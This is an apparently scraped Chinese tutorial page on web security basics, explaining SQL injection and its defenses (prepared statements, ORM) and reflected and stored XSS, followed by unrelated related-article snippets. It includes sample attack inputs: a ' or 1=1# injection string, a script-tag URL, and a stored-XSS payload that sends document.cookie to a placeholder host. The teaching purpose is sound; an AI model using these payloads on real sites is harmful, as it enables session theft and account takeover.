Web安全测试基础

SQL注入

当下最常用的一个攻击手段,就是通过SQL命令插入到Web表单中或页面请求查询字符串中,最终达到欺骗服务器执行恶意的SQL语句的目的,SQL注入一旦成功,轻则直接绕开服务器验证,直接登录成功,重则将服务器端数据库中的内容一览无余,更有甚者,直接篡改数据库内容

简单来说,就是改变了原有的sql,让sql执行的结果发生了改变

为什么能实现sql注入?

Web网页可以发生SQL注入的根本原因在于其底层逻辑处理用户输入的方式与数据库交互(在常见的三层或四层架构中,由于数据从视图层传递至业务逻辑层进而到达数据访问层时,缺乏有效的参数化、转义过滤或安全编码实践,导致用户输入未经充分验证即被拼接进动态SQL查询语句并直接执行于数据库服务端)的安全机制存在缺陷。

多层结构的Web应用中,一般都有:

  • 视图层:负责接收用户的输入和展示界面,通常包括HTML表单等交互元素。

  • 业务逻辑层:对来自视图层的请求进行处理,包含数据验证、业务规则判断等操作,本应在此环节对所有不可信的输入数据进行严格的校验和清理。

  • 数据访问层:与数据库直接交互,执行SQL查询或其他数据库操作。如果这一层未能确保所有的SQL命令都是预编译的或者使用参数化的查询方式,就可能因拼接了未经处理的用户输入而引入SQL注入漏洞。

哪些情况可能会导致SQL注入攻击以及如何防止SQL注入?

  • SQL是动态构建的。如果对后台代码稍微熟悉一点,就会发现Web程序在接受到用户的输入后,往往需要根据这些内容去构建SQL语句,再去数据库中执行,如果开发人员采用的是字符串拼接的方式来生成SQL,则很可能实现SQL注入攻击。对于这种情况,防止SQL注入也很简单:

    • 使用参数化查询或预编译语句,用户输入的数据会被当成一个参数传递,而不是直接拼接到SQL中,这样数据就不会成为SQL指令的一部分,一般来说,最开始的SQL是这样 SELECT * FROM users WHERE username = ? AND password = ? 其中【?】是占位符,这样的好处是:

      • 在预编译阶段,含有占位符的SQL语句会被发送到数据库服务器并进行预编译。此时,数据库只知道参数的数量和类型,但并不知道具体的值。

      • 在绑定参数阶段,应用程序将实际的参数值传给数据库,并明确指明每个参数的类型。在这一过程中,数据库驱动程序会对字符串等文本类型的参数进行适当的转义和编码,确保它们不会被误解析为SQL命令的一部分。

      • 在执行阶段,参数值已经被安全地封装起来,即使用户输入的是' or 1=1#这样的恶意内容,它也不会被当作SQL逻辑去执行,而是作为一个单独的数据值传递给SQL查询中的条件表达式

    • 使用成熟的ORM框架,例如Java中的Mybatis或者Hibernate等,就能通过使用面向对象的方式来操作数据库

    • 在前后端都分别进行验证,这并不是防范SQL注入的最好办法,属于“治标不治本”的办法,例如禁止特殊字符的输入、检查输入长度等办法

    • 控制数据库的权限,例如在查询语句中,就不要用增删改查全部权限的数据库用户,但是这种办法也会导致SQL注入来查询到全部数据,也是最佳办法

    • 对错误信息进行一个统一处理,这样在SQL注入的时候,哪怕已经成功注入了,也无法查看到具体的报错信息,可以结合上一个办法一起限制,也不是最佳办法

    • 综上,推荐使用第一个和第二个方法来避免和防止SQL注入

  • 错误的信任模式也会可能导致SQL注入,例如在一些多层框架中,如果底层没有过滤掉可能导致SQL注入的恶意输入,较高层级可能就因为信任等级比较高,导致产生SQL注入,处理办法也比较简单:

    • 对于所有的数据,都可以认为是不安全的,无论来自内外部,都要假设成是攻击的载体

  • 更加实际一点,也就是如下类型的网址可能实现sql注入

    • 【数字型注入点】www.xxx.com/xxx?username=admin

    • 【字符型注入点】www.xxx.com/xxx?id=1

    • 【搜索型注入点】或者是一些post请求,在请求中有模糊搜索

    • 详细如何注入可以查看SQL注入常见方式

SQL注入带来的后果

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

  • 绕过认证,列如绕过验证登录网站后台。

  • 注入可以借助数据库的存储过程进行提权等操作

SQL注入常见方式

XSS跨站脚本攻击

概念

指的是恶意攻击者往web页面里面插入恶意的HTML和Javascript代码,当用户浏览该页面时,嵌入其中的web里面的HTML代码就会被执行,从而达到恶意攻击用户的特殊目的

基本流程

原理讲解

  • 攻击者构造包含恶意脚本的数据,通过URL参数、表单提交、Cookie或者HTTP头部等方式把恶意数据发送到Web服务器

  • 服务器收到数据,如果没有过多校验,就会进行持久化,当用户访问这个页面的时候,服务器就会把这些恶意数据返回给用户

  • 用户收到了含有恶意脚本的HTML页面,但是没有识别出来,于是正常解析和渲染,就会把恶意脚本当做正常程序,从而获取本地的一些用户信息

  • 为什么能够插入脚本成功,其核心是HTML页面是由标签组成的,如果恶意脚本也是使用这种标签<>的方式构造,就可能误导网站和浏览器认为这是一个正常的标签,恶意脚本就会在浏览器中执行了

危害

  • 攻击者可以通过这样的方式来窃取用户的私密信息,例如登录凭证,Cookie等

  • 攻击者可以篡改网页的内容,都能够在页面中插入脚本了,也可以实现在页面展示虚假信息或者其他广告

  • 攻击者可以在脚本中写入木马程序,实现传播恶意病毒或软件

  • 某些高级的XSS脚本可以实现控制键盘和鼠标,从而实现控制电脑

分类

  • 反射性XSS

    • 攻击方式:攻击者会构造包含恶意脚本的URL,用户点击这个链接,浏览器就执行了恶意脚本

    • 特点:每次攻击都需要用户手动点击这个连续,否则不会触发

  • 存储型XSS

    • 攻击方式:攻击者会把恶意脚本上传到某网站的数据库或其他持久化存储区,成功后,任何查看这个内容的用户都会执行这个恶意攻击

    • 特点:恶意脚本如果没有被发现,攻击者就无需再次介入,用户查看这个网页就会受到影响

举例

反射型XSS

假设这是一个有安全漏洞的网站上的搜索功能

ttp://www.xxx.com/search?q=keyword

攻击者恶意构造的URL就可能是(简单展示)

ttp://www.xxx.com/search?q=<script>alert('XSS');</script>

那么当用户点击了这个链接之后,浏览器就会直接执行alert函数,显示警告框

存储型XSS

假设在一个没有过滤或转移的用户留言板系统中,用户提交了如下内容:

et a= "<script>var img = document.createElement('img'); img.src = 'http://www.xxx.com/xxx?cookie=' + document.cookie; document.body.appendChild(img);</script>";

这是一段简单的JS代码,下面进行简单讲解

  • var img = document.createElement('img') :创建一个<img>标签,可以存储图片

  • img.src = 'http://www.xxx.com/xxx?cookie=' + document.cookie:

    • src 是用来指定图片的URL,在这里指向了 http://www.xxx.com/xxx 并且在后面带上了document.cookie的内容

    • document.cookie是浏览器提供的一个全局对象属性,可以获取当前页面的全部Cookie信息,这样就实现了把用户的Cookie信息拼接到URL里面

  • document.body.appendChild(img):把新创建的图片标签添加到当前文档的body部分,当浏览器去加在这个body的时候,就会导致把用户的cookie发送到http://www.xxx.com/xxx, 造成了信息的泄露

如何防止XSS攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/312680.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

php多小区智慧物业管理系统源码带文字安装教程

多小区智慧物业管理系统源码带文字安装教程 运行环境 服务器宝塔面板 PHP 7.0 Mysql 5.5及以上版本 Linux Centos7以上 统计分析以小区为单位&#xff0c;统计如下数据&#xff1a;小区总栋数、小区总户数、小区总人数、 小区租户数量、小区每月收费金额统计、小区车位统计、小…

专业130+总400+哈尔滨工业大学803信号与系统和数字逻辑电路考研经验哈工大,电子信息,信息与通信工程,信通

今年专业课803信号与系统和数字逻辑130总分400如愿考上哈尔滨工业大学电子信息&#xff08;信息与通信工程-信通&#xff09;&#xff0c;总结了一些各门课程复习心得&#xff0c;希望对大家复习有帮助。 数学一 资料选择&#xff1a; ①高数&#xff1a;张宇强化班 ②线性…

基于JavaWeb+BS架构+SpringBoot+Vue+Hadoop的物品租赁系统的设计与实现

基于JavaWebBS架构SpringBootVueHadoop的物品租赁系统的设计与实现 文末获取源码Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 文末获取源码 Lun文目录 目  录 I 1绪 论 1 1.1开发背景 1 1.2开发目的与意义 1 1.2.1开发目…

【Redis】Redis 进阶

文章目录 1. BigKey1.1 MoreKey1.2 BigKey 2. 缓存双写一致性更新策略2.1 读缓存数据2.2 数据库和缓存一致性的更新策略2.3 canal 实现双写一致性 3. 进阶应用3.1 统计应用3.2 hyperloglog3.3 GEO3.4 bitmap 4. 布隆过滤器5. Redis 经典问题5.1 缓存预热5.2 缓存穿透5.3 缓存击…

C++ 类 对象

C 在 C 语言的基础上增加了面向对象编程&#xff0c;C 支持面向对象程序设计。类是 C 的核心特性&#xff0c;通常被称为用户定义的类型。 类用于指定对象的形式&#xff0c;是一种用户自定义的数据类型&#xff0c;它是一种封装了数据和函数的组合。类中的数据称为成员变量&a…

Anaconda定制Python编程并打包

本文主要介绍如何使用Anaconda定制一个Python编程环境并打包&#xff0c;方便编程环境迁移。 文章参考 谢作如 邱奕盛两位老师的《为信息科技教学定制一个Python编程环境》 * 开发不同的项目需要不同的库&#xff08;甚至不同版本&#xff09;&#xff0c;把所有的库安装到一…

Jenkins基础篇--添加用户和用户权限设置

添加用户 点击系统管理&#xff0c;点击管理用户&#xff0c;然后点击创建用户&#xff08;Create User&#xff09; 用户权限管理 点击系统管理&#xff0c;点击全局安全配置&#xff0c;找到授权策略&#xff0c;选择安全矩阵&#xff0c;配置好用户权限后&#xff0c;点击…

计算机网络-VLAN间通信

之前复习了VLAN的概念以及几个接口类型。VLAN在二层可以实现广播域的划分&#xff0c;VLAN间可以实现二层通信&#xff0c;但是不能实现三层通信&#xff0c;需要借助其它方式。 一、概述 实际网络部署中一般会将不同IP地址段划分到不同的VLAN。同VLAN且同网段的PC之间可直接进…

【Unity】Joystick Pack摇杆插件实现锁四向操作

Joystick Pack ​ 简介&#xff1a;一款Unity摇杆插件&#xff0c;非常轻量化 ​ 摇杆移动类型&#xff1a;圆形、横向、竖向 ​ 摇杆类型&#xff1a; Joystick描述Fixed固定位置Floating浮动操纵杆从用户触碰的地方开始&#xff0c;一直固定到触碰被释放。Dynamic动态操纵…

【设计模式】01-前言

23 Design Patterns implemented by C. 从本文开始&#xff0c;一系列的文章将揭开设计模式的神秘面纱。本篇博文是参考了《设计模式-可复用面向对象软件的基础》这本书&#xff0c;由于该书的引言 写的太好了&#xff0c;所以本文基本是对原书的摘抄。 0.前言 评估一个面向对…

孩子用什么样的灯对眼睛没有伤害?分享最合适孩子的护眼台灯

为人父母以后&#xff0c;孩子健康成长一定是摆放在首位的&#xff0c;随着孩子慢慢长大&#xff0c;步入更高的年级&#xff0c;作业课程也在随之增多。不少孩子哪怕夜色已经降临&#xff0c;仍就伏案在桌子上完成没有做完的功课&#xff0c;作为父母的我们不得不担心孩子的视…

Unity 工具 之 Azure 微软连续语音识别ASR的简单整理

Unity 工具 之 Azure 微软连续语音识别ASR的简单整理 目录 Unity 工具 之 Azure 微软连续语音识别ASR的简单整理 一、简单介绍 二、实现原理 三、注意实现 四、实现步骤 五、关键脚本 一、简单介绍 Unity 工具类&#xff0c;自己整理的一些游戏开发可能用到的模块&#x…

书客、明基、好视力护眼台灯大比拼,哪款更胜一筹?

在现代生活中&#xff0c;我们经常面对着各种电子屏幕&#xff0c;给眼睛造成了一定的压力&#xff0c;时间一长&#xff0c;会发现眼睛很疲劳。很多家长仔细观察&#xff0c;当孩子长时间处在不合适地灯光下玩耍、学习&#xff0c;会发现他们有揉眼的动作&#xff0c;这就是不…

Mac 使用nvm use命令无法切换node版本

解决方案&#xff1a;先卸载使用brew安装的node&#xff08; 具体操作请移步使用brew卸载node&#xff09;&#xff0c;再使用nvm use命令切换node版本。 问题复现&#xff1a;使用nvm use命令显示切换成功&#xff0c;但是实际版本还是原来的node版本&#xff0c;应该是与bre…

HTTP响应码

1&#xff1a;1xx(临时响应) 表示临时响应并需要请求者继续执行操作的状态代码。 2&#xff1a;2xx(成功) 表示成功处理了请求的状态代码。 3&#xff1a;3xx(重定向) 表示要完成请求&#xff0c;需要进一步操作。 通常&#xff0c;这些状态代码用来重定向。 4&#xff1a;4…

SpringBoot原理(@Conditional)—三种自动配置方法、步骤详解

简介&#xff1a;我们一直在说基于SpringBoot开发简单、快捷&#xff0c;但是总是不太清楚为什么会有这样的便利&#xff0c;对于开发人员来说我们不仅要知其然&#xff0c;还要知其所以然&#xff0c;这篇文章就是说明SpringBoot的底层原理&#xff0c;让读者对SpringBoot底层…

深入理解 Flink(五)Flink Standalone 集群启动源码剖析

前言 Flink 集群的逻辑概念&#xff1a; JobManager(StandaloneSessionClusterEntrypoint) TaskManager(TaskManagerRunner) Flink 集群的物理概念&#xff1a; ResourceManager(管理集群所有资源&#xff0c;管理集群所有从节点) TaskExecutor(管理从节点资源&#xff0c;接…

order by 与 分页 的冲突

order by 与 分页 的冲突 问题背景 Oracle拼接SQL&#xff0c;JAVA使用SQLQueryExecutor执行拼接的SQL&#xff0c;SQL如下&#xff1a; SELECT col_key, col_other_info FROM tb_tableName WHERE col_where_info 一些筛选条件 order by col_updatetime desc 该表中的数…

python 计数器

这个Python脚本定义了一个名为new_counter()的函数&#xff0c;它读取系统时间并将其与存储在文件中的时间进行比较。然后根据比较结果更新存储在另一个文件中的计数器值。如果系统时间与存储的时间匹配&#xff0c;则计数器值增加1。如果系统时间与存储的时间不匹配&#xff0…